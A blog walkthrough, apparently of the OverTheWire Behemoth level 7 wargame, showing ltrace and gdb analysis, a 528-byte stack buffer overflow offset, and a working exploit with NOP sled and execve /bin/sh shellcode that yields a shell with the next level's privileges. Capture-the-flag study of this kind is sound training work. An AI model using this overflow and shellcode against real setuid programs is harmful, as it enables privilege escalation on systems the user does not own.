So let's run with ltrace
behemoth7@behemoth:~$ ltrace /behemoth/behemoth7 __libc_start_main(0x804852b, 1, 0xffffd744, 0x8048650 <unfinished ...> strlen("LC_ALL=en_US.UTF-8") = 18 memset(0xffffd874, '\0', 18) = 0xffffd874 strlen("LS_COLORS=rs=0:di=01;34:ln=01;36"...) = 1467 memset(0xffffd887, '\0', 1467) = 0xffffd887 strlen("SSH_CONNECTION=51.38.186.124 594"...) = 52 memset(0xffffde43, '\0', 52) = 0xffffde43 strlen("LANG=en_US.UTF-8") = 16 memset(0xffffde78, '\0', 16) = 0xffffde78 strlen("USER=behemoth8") = 14 memset(0xffffde89, '\0', 14) = 0xffffde89 strlen("PWD=/home/behemoth8") = 19 memset(0xffffde98, '\0', 19) = 0xffffde98 strlen("HOME=/home/behemoth8") = 20 memset(0xffffdeac, '\0', 20) = 0xffffdeac strlen("WECHALLTOKEN=03CB7-2E29C-CF18D-D"...) = 48 memset(0xffffdec1, '\0', 48) = 0xffffdec1 strlen("SSH_CLIENT=51.38.186.124 59456 2"...) = 33 memset(0xffffdef2, '\0', 33) = 0xffffdef2 strlen("SSH_TTY=/dev/pts/24") = 19 memset(0xffffdf14, '\0', 19) = 0xffffdf14 strlen("MAIL=/var/mail/behemoth8") = 24 memset(0xffffdf28, '\0', 24) = 0xffffdf28 strlen("TERM=xterm") = 10 memset(0xffffdf41, '\0', 10) = 0xffffdf41 strlen("SHELL=/bin/bash") = 15 memset(0xffffdf4c, '\0', 15) = 0xffffdf4c strlen("TMOUT=1800") = 10 memset(0xffffdf5c, '\0', 10) = 0xffffdf5c strlen("SHLVL=1") = 7 memset(0xffffdf67, '\0', 7) = 0xffffdf67 strlen("LOGNAME=behemoth8") = 17 memset(0xffffdf6f, '\0', 17) = 0xffffdf6f strlen("PATH=/usr/local/bin:/usr/bin:/bi"...) = 61 memset(0xffffdf81, '\0', 61) = 0xffffdf81 strlen("WECHALLUSER=nikITA") = 18 memset(0xffffdfbf, '\0', 18) = 0xffffdfbf strlen("_=/usr/bin/ltrace") = 17 memset(0xffffdfd2, '\0', 17) = 0xffffdfd2 +++ exited (status 0) +++
It seems that it reads Environment variables and then quits.
Disassembling with gdb we can see that it has an initial loop that reades the ENV, but after that part there is some code that is not being executed.
The code in gdb is :
0x080485ab <+128>: addl $0x1,-0xc(%ebp) 0x080485af <+132>: call 0x8048410 <__ctype_b_loc@plt> 0x080485b4 <+137>: mov (%eax),%edx 0x080485b6 <+139>: mov -0x4(%ebp),%eax 0x080485b9 <+142>: movzbl (%eax),%eax 0x080485bc <+145>: movsbl %al,%eax 0x080485bf <+148>: add %eax,%eax 0x080485c1 <+150>: add %edx,%eax 0x080485c3 <+152>: movzwl (%eax),%eax 0x080485c6 <+155>: movzwl %ax,%eax 0x080485c9 <+158>: and $0x400,%eax 0x080485ce <+163>: test %eax,%eax 0x080485d0 <+165>: jne 0x8048614 <main+233> 0x080485d2 <+167>: call 0x8048410 <__ctype_b_loc@plt> 0x080485d7 <+172>: mov (%eax),%edx 0x080485d9 <+174>: mov -0x4(%ebp),%eax 0x080485dc <+177>: movzbl (%eax),%eax 0x080485df <+180>: movsbl %al,%eax 0x080485e2 <+183>: add %eax,%eax 0x080485e4 <+185>: add %edx,%eax 0x080485e6 <+187>: movzwl (%eax),%eax 0x080485e9 <+190>: movzwl %ax,%eax 0x080485ec <+193>: and $0x800,%eax 0x080485f1 <+198>: test %eax,%eax 0x080485f3 <+200>: jne 0x8048614 <main+233> 0x080485f5 <+202>: mov 0x8049940,%eax 0x080485fa <+207>: push $0x80486d0 0x080485ff <+212>: push $0x80486d8 0x08048604 <+217>: push %eax 0x08048605 <+218>: call 0x80483f0 <fprintf@plt> 0x0804860a <+223>: add $0xc,%esp 0x0804860d <+226>: push $0x1 0x0804860f <+228>: call 0x80483c0 <exit@plt> 0x08048614 <+233>: addl $0x1,-0x4(%ebp) 0x08048618 <+237>: mov -0x4(%ebp),%eax 0x0804861b <+240>: movzbl (%eax),%eax 0x0804861e <+243>: test %al,%al 0x08048620 <+245>: je 0x804862b <main+256> 0x08048622 <+247>: cmpl $0x1ff,-0xc(%ebp) 0x08048629 <+254>: jle 0x80485ab <main+128>
Quite complicated sequence of jmp istructions: if we give a command line parameter it is executed but it is quite complex to follow all the jumps
Let's focus on the line at 0x08048622: it compares a number 0x1ff (511 in decimal) with a memory location.
Maybe 0x1ff is a buffer size, so let's give a command line parameter longer than 512 bytes and see what happens:
(gdb) set args $(python -c 'print "A"*550') (gdb) r .... Starting program: /behemoth/behemoth7 $(python -c 'print "A"*550') Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
Great! We were able to control execution flow and jump to 0x41414141 (AAAA in hex)
With some tries we can get the exact size of the buffer that triggers the buffer overflow
(We may use the pattern_create.rb and pattern_offset.rb tools in Metasploit framework if we want)
(gdb) set args $(python -c 'print "A"*528+"BBBB"') (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /behemoth/behemoth7 $(python -c 'print "A"*528+"BBBB"') Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()
So with 528 filling bytes we reach the return address to overwrite.
I tried a few times to use the JMP ESP tecnique to have a reliable jump to a shellcode but it seems not working.
Not sure about the reason, it's probably related to the complicated sequence of jump and operations on memory.
Then I decided for a more traditional approach with a NOP sled and jumping directly to stack.
Using a buffer of 528 bytes + return address + 200 NOP + shellcode, it seems that the NOP sled is more or less around "0xffffd401" address on the stack.
But again, the standard execve() shellcode is not successful.
behemoth7@behemoth:~$/behemoth/behemoth7 $(python -c 'print "A"*528+"\x01\xd4\xff\xff" + "\x90" *200 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ') Illegal instruction behemoth7@behemoth:~$ strace /behemoth/behemoth7 $(python -c 'print "A"*528+"\x01\xd4\xff\xff" + "\x90" *200 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ') ... execve("/bin//sh", ["/bin//sh"], [/* 3 vars */]) = -1 EFAULT (Bad address) --- SIGILL {si_signo=SIGILL, si_code=ILL_ILLOPN, si_addr=0xffffd4e1} --- +++ killed by SIGILL +++ Illegal instruction
Running with strace we can see a possible reason: the execve shellcode doesn's clean the ENV and the parameters to the /bin//sh.
So let's add a couple of istructions to the shellcode:
- xor ecx,ecx (\x31\xc9)
- xor edx,edx (\x31\d2)
/behemoth/behemoth7 $(python -c 'print "A"*528+"\x01\xd4\xff\xff" + "\x90" *200 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" ') behemoth7@behemoth:~$ /behemoth/behemoth7 $(python -c 'print "A"*528+"\x01\xd4\xff\xff" + "\x90" *200 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" ') $ id uid=13007(behemoth7) gid=13007(behemoth7) euid=13008(behemoth8) groups=13007(behemoth7) $ cat /etc/behemoth_pass/behemoth8 p*******e
$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.